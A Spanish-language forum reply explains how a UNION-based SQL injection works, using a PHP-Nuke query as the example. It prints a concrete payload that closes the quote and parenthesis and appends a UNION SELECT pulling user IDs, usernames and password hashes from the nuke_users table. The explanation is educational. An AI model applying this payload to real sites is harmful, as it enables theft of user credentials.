No tendrías todas estas preguntas si hubieras leído un manual de
SQL y no de
SQL Inyection.
Pero bueno...
el UNION sirve para encadenar dos querys diferentes que tienen el
mismo numero de campos.
Pero claro, primero hemos de acabar
bien la primera query.
Si, por ejemplo, le metemos el código malicioso a la variable $id que va directa a la query...
SELECT campo1, campo2, campo3, campo4, campo5, campo6, campo7, campo8, campo9, campo10 FROM tabla WHERE (visible = '1' AND id='$id')
Si inyectamos la query maliciosa, queda así:
SELECT campo1, campo2, campo3, campo4, campo5, campo6, campo7, campo8, campo9, campo10 FROM tabla WHERE (visible = '1' AND id='s%') UNION SELECT 0,user_id,username,user_password,0,0,0,0,0,0 FROM nuke_users/*')
Lo ves ahora?
Le mete el ') para poder cerrar tanto la comilla como el parentesis. La query también podría NO tener parentésis, entonces no se le pone. Por eso es importante saber como esta construida una sentencia, en el caso de PHP-Nuke tenemos el código.
Fijaros tambien en que ambas querys tienen el
mísmo número de campos: 10Lo dicho, primero leer, leer, leer, aprender y luego intentar inyecciones.
Saludos.